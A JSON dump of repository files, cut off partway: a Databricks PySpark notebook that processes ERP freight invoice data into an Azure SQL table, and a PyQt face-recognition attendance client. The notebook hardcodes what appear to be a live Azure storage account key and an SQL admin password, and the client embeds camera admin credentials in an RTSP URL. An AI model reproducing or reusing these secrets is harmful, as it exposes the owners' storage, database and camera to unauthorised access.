[ { "alpha_fraction": 0.5910165309906006, "alphanum_fraction": 0.6522195935249329, "avg_line_length": 34.4139518737793, "blob_id": "be9d29173b3d3a5b00f03c036c249736ee9bc9b1", "content_id": "953d9c276f1d96ef684c2411edb3014a2a5ab6c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7629, "license_type": "no_license", "max_line_length": 134, "num_lines": 215, "path": "/Frete_Analitico.py", "repo_name": "priscilalopesc/engenharia_dados", "src_encoding": "UTF-8", "text": "# Databricks notebook source\n# DBTITLE 1,Inicialização\nfrom pyspark.sql.functions import when, col, lit, concat, trim , expr\nimport os\nfrom pyspark.sql.types import DoubleType\n\n# COMMAND ------------\n\n# DBTITLE 1,Monta o Data Lake\ndef mount_blob(account_name, account_key, container):\n mounts = [mount.mountPoint for mount in dbutils.fs.mounts()]\n \n if f'/mnt/{container}' not in mounts:\n blob_prefix = f'wasbs://{container}@{account_name}.blob.core.windows.net/'\n dbutils.fs.mount(\n source = blob_prefix,\n mount_point = f'/mnt/{container}',\n extra_configs = {\n f'fs.azure.account.key.{account_name}.blob.core.windows.net': account_key\n }\n )\n\n# dbutils.fs.unmount('/mnt/dados')\nmount_blob(\n account_name='cantudatalakedev',\n account_key='AYMJd3bnC/UipbQUm7/he2YfreK5VFoTaPyvC/SwLT0ZGbsDmjpaYt3jlSq1lgMkqC3jvyw1kToMVF+Z6xSMdA==',\n container='dados'\n)\n\n# COMMAND ----------\n\n# DBTITLE 1,Função que prepara a conexão com o SQL Server\ndef connect_to_sql_server(jdbcUsername, jdbcPassword, jdbcHostname=None, jdbcPort=1433, jdbcDatabase=None):\n jdbc_url = \\\n f'jdbc:sqlserver://{jdbcHostname}:{jdbcPort};' \\\n f'database={jdbcDatabase};' \\\n 'encrypt=true;' \\\n 'trustServerCertificate=false;' \\\n 'hostNameInCertificate=*.database.windows.net;' \\\n 'loginTimeout=60;'\n\n jdbc_properties = {\n \"user\": jdbcUsername,\n \"password\": jdbcPassword\n }\n \n return (jdbc_url, jdbc_properties)\n\n# COMMAND ----------\n\ndef get_max_path_date_from_path(path):\n max_year = max([item.name for item in dbutils.fs.ls(path)])\n max_month = max([item.name for item in dbutils.fs.ls(os.path.join(path, max_year))])\n max_day = max([item.name for item in dbutils.fs.ls(os.path.join(path, max_year, max_month))])\n max_path_date = os.path.join(path, max_year, max_month, max_day)\n\n return max_path_date\n\n# COMMAND ----------\n\n# DBTITLE 1,Lê os arquivos de origem\ndf_sf1010 = spark.read.csv(get_max_path_date_from_path('/mnt/dados/datalake/raw/source/oracle/totvs131.SF1010'), sep=',', header=True)\ndf_sd1010 = spark.read.csv(get_max_path_date_from_path('/mnt/dados/datalake/raw/source/oracle/totvs131.SD1010'), sep=',', header=True)\n\n# COMMAND ----------\n\n# DBTITLE 1,Filtro de Campo do Extrator ERP_Itens_NFE\ndf_sd1010_emissao = df_sd1010 \\\n .filter(col(\"D1_FILIAL\").between('0800', '8099'))\n\n# COMMAND ----------\n\n# DBTITLE 1,Ajuste de String para Date\ndf_sf1010_Ajuste_Data = df_sf1010 \\\n .withColumn(\"F1_DTDIGIT\",expr(\"to_date(F1_DTDIGIT, 'yyyymmdd')\"))\n\ndf_sd1010_Ajuste_Data = df_sd1010_emissao \\\n .withColumn(\"D1_DTDIGIT\",expr(\"to_date(D1_DTDIGIT, 'yyyymmdd')\"))\n\n# COMMAND ----------\n\n# DBTITLE 1,Condição Extrator ERP_CABECALHO_NFE\ndf_sf1010_where = df_sf1010_Ajuste_Data \\\n .filter(~col(\"F1_FILIAL\").like(\"98%\"))\n\n# COMMAND ----------\n\n# DBTITLE 1,Remoção de Espaços\ndf_sf1010_remove_space = df_sf1010_where \\\n .withColumn(\"F1_FILIAL\", trim(df_sf1010_where.F1_FILIAL)) \\\n .withColumn(\"F1_DOC\", trim(df_sf1010_where.F1_DOC)) \\\n .withColumn(\"F1_SERIE\", trim(df_sf1010_where.F1_SERIE)) \\\n .withColumn(\"F1_FORNECE\", trim(df_sf1010_where.F1_FORNECE)) \\\n .withColumn(\"F1_LOJA\", trim(df_sf1010_where.F1_LOJA))\n\ndf_sd1010_remove_space = df_sd1010_Ajuste_Data \\\n .withColumn(\"D1_FILIAL\", trim(df_sd1010_Ajuste_Data.D1_FILIAL)) \\\n .withColumn(\"D1_SERIE\", trim(df_sd1010_Ajuste_Data.D1_SERIE)) \\\n .withColumn(\"D1_DOC\", trim(df_sd1010_Ajuste_Data.D1_DOC)) \\\n .withColumn(\"D1_FORNECE\", trim(df_sd1010_Ajuste_Data.D1_FORNECE)) \\\n .withColumn(\"D1_LOJA\", trim(df_sd1010_Ajuste_Data.D1_LOJA)) \\\n .withColumn(\"D1_NFORI\", trim(df_sd1010_Ajuste_Data.D1_NFORI)) \\\n .withColumn(\"D1_SERIORI\", trim(df_sd1010_Ajuste_Data.D1_SERIORI)) \\\n .withColumn(\"D1_FILORI\", trim(df_sd1010_Ajuste_Data.D1_FILORI)) \\\n .withColumn(\"D1_COD\", trim(df_sd1010_Ajuste_Data.D1_COD)) \\\n .withColumn(\"D1_TIPO\", trim(df_sd1010_Ajuste_Data.D1_TIPO)) \\\n .withColumn(\"D1_CLVL\", trim(df_sd1010_Ajuste_Data.D1_CLVL))\n\n# COMMAND ----------\n\n# DBTITLE 1,Seleciona as duas primeiras posições do campo \ndf_sf1010_filial = df_sf1010_remove_space \\\n .withColumn(\"F1_COD_EMPRESA_CTE\", df_sf1010_remove_space.F1_FILIAL[0:2]\n )\n\ndf_sd1010_filial = df_sd1010_remove_space \\\n .withColumn(\"D1_COD_EMPRESA_CTE\", df_sd1010_remove_space.D1_FILIAL[0:2])\\\n .withColumn(\"SEGMENTO_RAIZ_CTE\", df_sd1010_remove_space.D1_CLVL[0:3])\\\n .withColumn(\"SEGMENTO_MEDIO_CTE\", df_sd1010_remove_space.D1_CLVL[0:6])\n\n# COMMAND ----------\n\n# DBTITLE 1,Concat\ndf_sd1010_concat = df_sd1010_filial \\\n .withColumn('_CODIGO_TRANSP', concat('D1_FORNECE', 'D1_LOJA')\n )\n\ndf_sd1010_case = df_sd1010_concat \\\n .withColumn('FILIAL NOTA', \n when(col('D1_FILORI') == '', df_sd1010_concat.D1_FILIAL)\n .otherwise(df_sd1010_concat.D1_FILORI) \n ) \n\ndf_sd1010_float = df_sd1010_case \\\n .withColumn(\"D1_TOTAL\",\n df_sd1010_case.D1_TOTAL.cast(DoubleType())\n ) \\\n .withColumn(\"D1_VALIPI\",\n df_sd1010_case.D1_VALIPI.cast(DoubleType())\n ) \\\n .withColumn(\"D1_ICMSRET\",\n df_sd1010_case.D1_ICMSRET.cast(DoubleType())\n )\n\ndf_sd1010_sum = df_sd1010_float \\\n .withColumn(\"VAL BRUTO CTE\",\n when(col('D1_TIPO') == 'C', df_sd1010_float.D1_TOTAL + df_sd1010_float.D1_VALIPI)\n .otherwise(df_sd1010_float.D1_TOTAL + df_sd1010_float.D1_VALIPI + df_sd1010_float.D1_ICMSRET)\n )\n\n# COMMAND ----------\n\n# DBTITLE 1,Joins\ndf_sf1010_join = df_sf1010_filial.alias('sf1010') \\\n .join(\n df_sd1010_sum.alias('sd1010'),\n (col('sf1010.F1_FILIAL') == col('sd1010.D1_FILIAL')) \\\n & (col('sf1010.F1_COD_EMPRESA_CTE') == col('sd1010.D1_COD_EMPRESA_CTE')) \\\n & (col('sf1010.F1_DOC') == col('sd1010.D1_DOC')) \\\n & (col('sf1010.F1_SERIE') == col('sd1010.D1_SERIE')) \\\n & (col('sf1010.F1_FORNECE') == col('sd1010.D1_FORNECE')) \\\n & (col('sf1010.F1_LOJA') == col('sd1010.D1_LOJA')) \\\n & (col('sf1010.F1_DTDIGIT') == col('sd1010.D1_DTDIGIT')),\n how='inner'\n ) \n\n# COMMAND ----------\n\n# DBTITLE 1, Selects e renames\ndf_sf1010_select = df_sf1010_join \\\n .select(\n col('F1_FILIAL').alias('FILIAL_CTE'),\n col('F1_COD_EMPRESA_CTE').alias('COD_EMPRESA_CTE'),\n col('F1_DOC').alias('NUMERO_CTE'),\n col('F1_SERIE').alias('SERIE_CTE'),\n col('F1_FORNECE').alias('CODIGO_TRANSP'),\n col('F1_LOJA').alias('LOJA_TRANSP'),\n col('F1_DTDIGIT').alias('DATA_DIGITACAO_CTE'),\n col('F1_ESPECIE').alias('ESPECIE_CTE'),\n col('F1_NATUREZ').alias('NATUREZA'),\n col('_CODIGO_TRANSP').alias('_CODIGO_TRANSP'),\n col('D1_NFORI').alias('NUM_NOTA'),\n col('D1_SERIORI').alias('SERIE_NOTA'),\n col('FILIAL NOTA').alias('FILIAL_NOTA'),\n col('D1_DTDIGIT').alias('D1_DTDIGIT_NFE'),\n col('D1_TES').alias('CODIGO_TES_CTE'),\n col('D1_COD').alias('CODIGO_PRODUTO'),\n col('D1_TIPO').alias('TIPO_CTE'),\n col('D1_CF').alias('CFOP_ENT'),\n col('SEGMENTO_RAIZ_CTE').alias('_SEGMENTO_RAIZ_CTE'),\n col('SEGMENTO_MEDIO_CTE').alias('_SEGMENTO_MEDIO_CTE'),\n col('D1_CLVL').alias('_SEGMENTO_CTE'),\n col('D1_CC').alias('CENTRO_CUSTO_ENT'),\n col('D1_CONTA').alias('CONTA_CONTABIL_CTE'),\n col('D1_PESO').alias('PESO_TOTAL_CTE'),\n col('VAL BRUTO CTE').alias('VAL_BRUTO_CTE'),\n col('D1_VALFRE').alias('VALOR_FRETE')\n)\n\n# COMMAND ----------\n\n# DBTITLE 1,Salva os dados no SQL Server\nprint('Getting JDBC connection string...')\njdbc_url, jdbc_properties = connect_to_sql_server(\n jdbcUsername='admin-db',\n jdbcPassword='VuA0nRSevo',\n jdbcHostname='csrv01cantu.database.windows.net',\n jdbcPort=1433,\n jdbcDatabase='dbdatalakedev'\n)\n\nprint('Writing to SQL Server...')\ndf_sf1010_select.write.jdbc(url=jdbc_url, table='Fato_Frete_Faturamento', mode='overwrite', properties=jdbc_properties)\n\nprint('Done!')\n" }, { "alpha_fraction": 0.8358209133148193, "alphanum_fraction": 0.8358209133148193, "avg_line_length": 32.5, "blob_id": "7b997db794b1bbefa0c2a8b9f7cfbd81a85b8fd4", "content_id": "b756eb24b2ea7556e2870c714b649103a5fa1771", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 68, "license_type": "no_license", "max_line_length": 47, "num_lines": 2, "path": "/README.md", "repo_name": "priscilalopesc/engenharia_dados", "src_encoding": "UTF-8", "text": "# engenharia_dados\nRepositório Para Scripts de Engenharia de dados\n" } ]
2
charliemeyer/sym-web
https://github.com/charliemeyer/sym-web
9357bbba5acec609c22ea02893e61acd0c31dbf9
267753988ec824124ab484114a00f07ec57914e5
05db591ca6ba64259222517e3b517807338d5922
refs/heads/master
2021-01-22T05:38:48.169766
2017-02-18T04:27:35
2017-02-18T04:27:35
81,687,114
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.699999988079071, "avg_line_length": 27.571428298950195, "blob_id": "5413ab9f67067cfff19c0a1edecbeb010931c13d", "content_id": "86cfb27ce49f093c76464867c4c2ee37025d5a9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 200, "license_type": "no_license", "max_line_length": 38, "num_lines": 7, "path": "/model.py", "repo_name": "charliemeyer/sym-web", "src_encoding": "UTF-8", "text": "from google.appengine.ext import ndb\n\nclass Project(ndb.Model):\n \"\"\"Models an individual project\"\"\"\n name = ndb.StringProperty()\n owner = ndb.StringProperty()\n shapes = ndb.JsonProperty()\n" }, { "alpha_fraction": 0.4615384638309479, "alphanum_fraction": 0.4615384638309479, "avg_line_length": 11, "blob_id": "e6e0c10852a30570723b2f561deec79083c285ce", "content_id": "7a0beb6481c4bc3bfa66a615491956bc56f418e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 13, "license_type": "no_license", "max_line_length": 11, "num_lines": 1, "path": "/README.md", "repo_name": "charliemeyer/sym-web", "src_encoding": "UTF-8", "text": "\"# sym-web\" \n" }, { "alpha_fraction": 0.5773195624351501, "alphanum_fraction": 0.5773195624351501, "avg_line_length": 24.526315689086914, "blob_id": "4758b46b79adbeac3cc456a3b7beab4fda3516f4", "content_id": "2ed8bb3fbab109182b3dd0f6052d08ff4a1f1974", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 485, "license_type": "no_license", "max_line_length": 63, "num_lines": 19, "path": "/static/proj_obj.js", "repo_name": "charliemeyer/sym-web", "src_encoding": "UTF-8", "text": "function ajax_project_dump() {\n var projname = prompt(\"name your project\");\n params = {\n proj_name: projname,\n proj_data: JSON.stringify(project_dump())\n };\n\n $.post(\"/storeproject\", params, function() {\n alert(\"saved.\");\n });\n}\n\nfunction ajax_project_load() {\n var projname = prompt(\"what project do you want\");\n $.get(\"/getproject?proj_name=\" + projname, function(data) {\n project_load(data);\n alert(\"data loaded.\");\n });\n}\n" }, { "alpha_fraction": 0.6202346086502075, "alphanum_fraction": 0.6286656856536865, "avg_line_length": 30.356321334838867, "blob_id": "59fca6fb4bd9e43924b68db1f17f2588c343182a", "content_id": "4c63ea98de6fb7bc5085a8c890ac640d28ae0332", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2728, "license_type": "no_license", "max_line_length": 100, "num_lines": 87, "path": "/main.py", "repo_name": "charliemeyer/sym-web", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport webapp2\nimport jinja2\nimport os\nfrom model import Project\nimport json\nfrom google.appengine.api import users\nfrom google.appengine.ext import ndb\n\nJINJA_ENVIRONMENT = jinja2.Environment(\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\n extensions=['jinja2.ext.autoescape'],\n autoescape=False)\n\ntitle = \"sym LOCAL \" if os.environ['SERVER_SOFTWARE'].startswith('Development') else \"sym LIVE DEV \"\n\ndef proj_key(proj_name=None):\n \"\"\"Constructs a Datastore key for a proj entity with name proj_name.\"\"\"\n return ndb.Key('cal', 'TODO_wtf_is_an_ndb_key')\n\n# the main sym app\nclass SYM_app(webapp2.RequestHandler):\n def get(self):\n template_values = {\"title\": title + \"HOME\"}\n\n template = JINJA_ENVIRONMENT.get_template('templates/app.html')\n self.response.write(template.render(template_values))\n\n\n# the page that lists all the projects on sym\nclass SYM_list(webapp2.RequestHandler):\n def get(self):\n projects = Project.query().fetch(420)\n\n template_values = {\"title\": title + \"proj_list\",\n \"projects\": projects}\n\n template = JINJA_ENVIRONMENT.get_template('templates/list.html')\n self.response.write(template.render(template_values))\n\n\n# loads a project with name given as proj_name in get request\nclass SYM_load(webapp2.RequestHandler):\n def get(self):\n proj_name = self.request.get('proj_name')\n projs = Project.query(Project.name == proj_name).fetch(1)\n\n if len(projs) == 0:\n # todo: uh oh\n self.response.http_status_message(404)\n else:\n proj = projs[0]\n self.response.headers['Content-Type'] = 'text/json'\n self.response.write(json.dumps(proj.shapes))\n\n\n# writes a project to the db, makes a new one if none exists\nclass SYM_store(webapp2.RequestHandler):\n def post(self):\n user = users.get_current_user()\n proj_name = self.request.get('proj_name')\n proj_data = self.request.get('proj_data')\n\n projs = Project.query(Project.name == proj_name).fetch(1)\n\n if len(projs) == 0:\n new_proj = Project(parent=proj_key(proj_name))\n new_proj.name = proj_name\n new_proj.owner = \"charlie\"\n new_proj.shapes = json.loads(proj_data)\n new_proj.put()\n else:\n proj = projs[0]\n proj.shaps = json.loads(proj_data)\n proj.owner = \"charlie2\"\n proj.put()\n\n self.response.write(\"you should really posting to /store\")\n\n\napp = webapp2.WSGIApplication([\n ('/', SYM_app),\n ('/list', SYM_list),\n ('/getproject', SYM_load),\n ('/storeproject', SYM_store), \n], debug=True)\n" } ]
4
yuyi1266173/FaceAttendanceSystemClient
https://github.com/yuyi1266173/FaceAttendanceSystemClient
32aa1161338c677166a48e923e3788d6bf031801
80bbcd6f8b281cbc93ae004375cc624cdcb64bc7
0ce5618870376820331ee28b5fc64657fc132922
refs/heads/develop
2020-05-29T13:50:39.821454
2019-05-30T02:32:38
2019-05-30T02:32:38
189,175,429
3
5
null
2019-05-29T07:40:11
2019-05-29T08:19:32
2019-05-30T02:32:38
Python
[ { "alpha_fraction": 0.5993804931640625, "alphanum_fraction": 0.6177077889442444, "avg_line_length": 34.85185241699219, "blob_id": "f571d29081f42bf73fe5f2937f325d4993fa142c", "content_id": "7dbaf5cb678694d7592bd1b891bf446cc46b8d95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3978, "license_type": "no_license", "max_line_length": 115, "num_lines": 108, "path": "/src/view/confirm_dialog.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "\n# !python 3.6\n# # -*-coding: utf-8 -*-\n\nimport time\nfrom PyQt5.QtWidgets import QDialog, QLabel, QPushButton, QVBoxLayout\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QPixmap\n\n\nclass ConfirmDialog(QDialog):\n\n def __init__(self):\n super(ConfirmDialog, self).__init__()\n self.top_label = None\n self.image_label = None\n self.staff_no_label = None\n self.staff_name_label = None\n self.time_label = None\n self.confirm_button = None\n\n self.init_ui()\n self.set_widgets()\n self.connect_events()\n\n def init_ui(self):\n self.top_label = QLabel()\n self.top_label.setFixedHeight(40)\n self.top_label.setAlignment(Qt.AlignCenter)\n self.top_label.setStyleSheet(\"font-size:20px; font-family:Microsoft YaHei; color: red;\")\n\n self.image_label = QLabel()\n self.image_label.setFixedSize(80, 100)\n self.image_label.setStyleSheet(\"background-color: #445566;\")\n\n self.staff_no_label = QLabel()\n self.staff_no_label.setFixedHeight(40)\n self.staff_no_label.setStyleSheet(\"font-size:15px; font-family:Microsoft YaHei; color: blue;\")\n\n self.staff_name_label = QLabel()\n self.staff_name_label.setFixedHeight(40)\n self.staff_name_label.setStyleSheet(\"font-size:15px; font-family:Microsoft YaHei; color: blue;\")\n\n self.time_label = QLabel()\n self.time_label.setFixedHeight(40)\n self.time_label.setStyleSheet(\"font-size:15px; font-family:Microsoft YaHei; color: blue;\")\n\n self.confirm_button = QPushButton(\"确定\")\n self.confirm_button.setFixedSize(100, 40)\n\n main_layout = QVBoxLayout()\n main_layout.setAlignment(Qt.AlignHCenter)\n main_layout.addWidget(self.top_label)\n main_layout.addWidget(self.image_label)\n main_layout.addWidget(self.staff_no_label)\n main_layout.addWidget(self.staff_name_label)\n main_layout.addWidget(self.time_label)\n main_layout.addWidget(self.confirm_button)\n\n self.setLayout(main_layout)\n\n def set_widgets(self):\n # self.top_label.setText(\"打卡成功!\")\n # self.staff_no_label.setText(\"工号:{}\".format(1011))\n # self.staff_name_label.setText(\"姓名:{}\".format(\"吴宇\"))\n # time_str = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(time.time()))\n # self.time_label.setText(\"打卡时间: {}\".format(time_str))\n # pix = QPixmap(\"E://py_projects/FaceAttendanceSystemClient/resource/face_image/35289.jpg\").scaled(80, 100)\n # self.image_label.setPixmap(pix)\n\n self.setFixedSize(400, 500)\n self.setWindowFlags(Qt.FramelessWindowHint)\n self.setStyleSheet(\"background-color: #999999;\")\n\n def connect_events(self):\n self.confirm_button.clicked.connect(self.close)\n\n def set_dialog_info(self, use_type, staff_no, staff_name, image_url=None, fail_flag=False, time_stamp=None):\n if use_type == 0:\n if fail_flag is True:\n self.top_label.setText(\"系统超时,请重新打卡!\")\n time_str = \"\"\n staff_no = \"\"\n staff_name = \"\"\n image_url = None\n else:\n self.top_label.setText(\"打卡成功!\")\n time_str = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(time_stamp))\n self.time_label.setText(\"打卡时间: {}\".format(time_str))\n else:\n self.top_label.setText(\"人脸采集成功!\")\n self.time_label.setText(\"\")\n\n self.staff_no_label.setText(\"工号:{}\".format(staff_no))\n self.staff_name_label.setText(\"姓名:{}\".format(staff_name))\n\n pix = QPixmap(image_url).scaled(80, 100)\n self.image_label.setPixmap(pix)\n\n\nif __name__ == \"__main__\":\n import sys\n from PyQt5.QtWidgets import QApplication\n\n app = QApplication(sys.argv)\n window = ConfirmDialog()\n window.show()\n\n sys.exit(app.exec_())\n\n" }, { "alpha_fraction": 0.4117647111415863, "alphanum_fraction": 0.686274528503418, "avg_line_length": 16, "blob_id": "d473948a3ad20033fae1eac25f11068b6d0d9a6e", "content_id": "74917d5dbc9a0056a3eff55ab20af9d17bba1df9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 51, "license_type": "no_license", "max_line_length": 18, "num_lines": 3, "path": "/requirements.txt", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "PyQt5==5.12.2\nPyQt5-sip==4.19.17\nSQLAlchemy==1.3.3\n" }, { "alpha_fraction": 0.6361386179924011, "alphanum_fraction": 0.646039605140686, "avg_line_length": 17.363636016845703, "blob_id": "fa93949454fb2d819355e0ecc68d6e554b336539", "content_id": "a81f148afffe44632fe6fdf0967e22d448d2997f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 404, "license_type": "no_license", "max_line_length": 56, "num_lines": 22, "path": "/src/main.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "# !python 3.6\n# -*-coding: utf-8 -*-\n\nimport sys\nfrom PyQt5.QtWidgets import QApplication\n\nfrom model import init_data_database, add_staff_fun_test\nfrom view.main_window import MainWindow\n\n\ndef run_app():\n init_data_database()\n # add_staff_fun_test()\n\n app = QApplication(sys.argv)\n window = MainWindow()\n window.show()\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n run_app()\n" }, { "alpha_fraction": 0.5977157354354858, "alphanum_fraction": 0.6313451528549194, "avg_line_length": 24.419355392456055, "blob_id": "72413d36b94dab70f09a1d96d272f2be1be06972", "content_id": "c68762e341053672cb153ff79245cc34037fd01c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1594, "license_type": "no_license", "max_line_length": 91, "num_lines": 62, "path": "/src/protoc/grpc_collect_face_client.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport grpc\nimport numpy as np\nimport cv2,base64\nfrom protoc import collect_face_pb2_grpc, collect_face_pb2\n\n_HOST = '192.168.1.109'\n_PORT = '8081'\n\n\ndef base64_2_cv2(encoded_data):\n \"\"\"\n :param encoded_data: string base64编码后的图片字符串\n :return: ndarray\n \"\"\"\n ret = None\n try:\n nparr = np.fromstring(base64.b64decode(encoded_data), np.uint8)\n img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n ret = img\n except Exception as e:\n print('%s' % (e,))\n return ret\n return ret\n\n\ndef start_collect_face(staff_id):\n conn = grpc.insecure_channel(_HOST + ':' + _PORT)\n client = collect_face_pb2_grpc.CollectFaceStub(channel=conn)\n\n response = client.DoCollectFace(collect_face_pb2.CollectFaceRequest(staff_id=staff_id))\n\n # print(\"received.staff_id:{} \".format(str(response.staff_id)))\n # print(\"received.width:{} \".format(str(response.image.width)))\n # print(\"received.high:{} \".format(str(response.image.high)))\n # print(\"received.channel:{} \".format(str(response.image.channel)))\n\n image_path = os.path.abspath(\"../resource/face_image/{}.jpg\".format(staff_id))\n print(image_path)\n\n with open(image_path, 'wb') as f:\n f.write(response.image.raw_data)\n\n return image_path\n\n # base64 mode\n # data = base64_2_cv2(response.image.raw_data)\n #\n # print(type(data))\n #\n # cv2.imwrite(\"test123456.png\", data)\n\n\nif __name__ == '__main__':\n import os\n os.chdir(\"../\")\n print(os.getcwd())\n\n start_collect_face(35289)\n" }, { "alpha_fraction": 0.8863636255264282, "alphanum_fraction": 0.8863636255264282, "avg_line_length": 21, "blob_id": "59a952774694df77345dfe6966f0888598d1b9ec", "content_id": "c7e628bcd09447fcb217848997d8d4c60b6669fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 72, "license_type": "no_license", "max_line_length": 28, "num_lines": 2, "path": "/README.md", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "# FaceAttendanceSystemClient\n人脸识别考勤、监控系统客户端\n" }, { "alpha_fraction": 0.6153435111045837, "alphanum_fraction": 0.6340334415435791, "avg_line_length": 36.70469665527344, "blob_id": "667bcc35f7d0ec49255e8607840e11cb8284d4b0", "content_id": "fc3cf0b8654fb404fe94a03b38a9ed823dc789ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5704, "license_type": "no_license", "max_line_length": 108, "num_lines": 149, "path": "/src/view/view_attendance_page.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "# !python 3.6\n# -*-coding: utf-8 -*-\n\nimport time\nfrom PyQt5.QtWidgets import QHBoxLayout, QVBoxLayout, QLabel, QPushButton, QWidget, \\\n QSpacerItem, QSizePolicy\nfrom PyQt5.QtCore import Qt\nfrom video_utils.video_player import VlcPlayer\n\nfrom view.collect_info_dialog import CollectInfoDialog\nfrom view.confirm_dialog import ConfirmDialog\nfrom model import Staff\nfrom protoc.grpc_face_attendance_client import start_face_attendance\n\n\nclass AttendancePageWidget(QWidget):\n\n def __init__(self):\n super(AttendancePageWidget, self).__init__()\n self.tip_label = None\n self.collect_info_button = None\n self.start_button = None\n self.collect_info_dialog = None\n self.confirm_dialog = None\n self.video_label = None\n self.video_player = None\n\n url = \"rtsp://admin:[email protected]:554/11\"\n\n self.init_ui()\n self.set_widgets()\n self.init_video_player(url=url)\n self.connect_events()\n self.video_player.start()\n\n def init_ui(self):\n self.video_label = QLabel()\n self.video_label.setFixedSize(800, 600)\n self.video_label.setText(\"视频区域\")\n self.video_label.setStyleSheet(\"background-color: #665599;\")\n self.video_label.setAlignment(Qt.AlignCenter)\n\n video_layout = QHBoxLayout()\n video_layout.addItem(QSpacerItem(5, 5, QSizePolicy.Expanding, QSizePolicy.Fixed))\n video_layout.addWidget(self.video_label)\n video_layout.addItem(QSpacerItem(5, 5, QSizePolicy.Expanding, QSizePolicy.Fixed))\n\n self.tip_label = QLabel()\n self.tip_label.setFixedHeight(30)\n self.tip_label.setStyleSheet(\"font-size:15px; font-family:Microsoft YaHei; color:#FFFFFF;\")\n self.tip_label.setAlignment(Qt.AlignCenter)\n\n self.start_button = QPushButton()\n self.start_button.setFixedSize(100, 40)\n self.start_button.setStyleSheet(\"font-size:15px; font-family:Microsoft YaHei; color:#FFFFFF;\"\n \"background-color: #445566;\")\n\n self.collect_info_button = QPushButton()\n self.collect_info_button.setFixedSize(100, 40)\n self.collect_info_button.setStyleSheet(\"font-size:15px; font-family:Microsoft YaHei; color:#FFFFFF;\"\n \"background-color: #445566;\")\n\n button_layout = QHBoxLayout()\n button_layout.addItem(QSpacerItem(5, 5, QSizePolicy.Fixed, QSizePolicy.Expanding))\n button_layout.addWidget(self.collect_info_button)\n button_layout.addWidget(self.start_button)\n button_layout.addItem(QSpacerItem(5, 5, QSizePolicy.Fixed, QSizePolicy.Expanding))\n\n main_layout = QVBoxLayout(self)\n main_layout.addLayout(video_layout)\n main_layout.addItem(QSpacerItem(20, 5, QSizePolicy.Fixed, QSizePolicy.Fixed))\n main_layout.addWidget(self.tip_label)\n main_layout.addItem(QSpacerItem(20, 5, QSizePolicy.Fixed, QSizePolicy.Fixed))\n main_layout.addLayout(button_layout)\n # main_layout.setAlignment(Qt.AlignCenter)\n self.setLayout(main_layout)\n\n def set_widgets(self):\n self.tip_label.setText(\"请正视摄像头,点击下方按钮\")\n self.start_button.setText(\"开始打卡\")\n self.collect_info_button.setText(\"采集人脸\")\n self.setStyleSheet(\"background-color: #222222;\")\n # self.setFixedSize(1200, 800)\n\n def init_video_player(self, url):\n self.video_player = VlcPlayer(url, int(self.video_label.winId()))\n\n def connect_events(self):\n self.start_button.clicked.connect(self.start_button_fun)\n self.collect_info_button.clicked.connect(self.collect_info__fun)\n\n def start_button_fun(self):\n time_stamp = time.time()\n # TODO: 调用gRPC考勤接口获取数据\n try:\n test_staff_no, the_image_url = start_face_attendance()\n print(\"test_staff_no={}, the_image_url={}\".format(test_staff_no, the_image_url))\n except Exception as e:\n print(\"调用gRPC考勤接口异常:{}\".format(e))\n test_staff_no = None\n\n print(\"attendance use time : {}\".format(time.time() - time_stamp))\n print(\"test_staff_no={}\".format(test_staff_no))\n\n # test_staff_no = 44444444\n if test_staff_no is not None:\n the_staffs = Staff.get_staff_by_no(staff_no=test_staff_no)\n else:\n the_staffs = None\n\n if the_staffs is None or len(the_staffs) < 1:\n attendance_fail_flag = True\n the_staff_name = \"\"\n the_image_url = None\n else:\n attendance_fail_flag = False\n the_staff_name = the_staffs[0].name\n # the_image_url = \"E://py_projects/FaceAttendanceSystemClient/resource/face_image/{}.jpg\"\n\n if self.confirm_dialog is None:\n self.confirm_dialog = ConfirmDialog()\n self.confirm_dialog.set_dialog_info(use_type=0, staff_no=test_staff_no, staff_name=the_staff_name,\n image_url=the_image_url,\n fail_flag=attendance_fail_flag, time_stamp=time_stamp)\n self.confirm_dialog.show()\n\n def collect_info__fun(self):\n if self.collect_info_dialog is None:\n self.collect_info_dialog = CollectInfoDialog()\n self.collect_info_dialog.show()\n\n\nif __name__ == \"__main__\":\n import os\n os.chdir(\"../\")\n print(os.getcwd())\n\n import sys\n from PyQt5.QtWidgets import QApplication\n\n from model import init_data_database\n\n init_data_database()\n\n app = QApplication(sys.argv)\n window = AttendancePageWidget()\n window.show()\n\n sys.exit(app.exec_())\n" }, { "alpha_fraction": 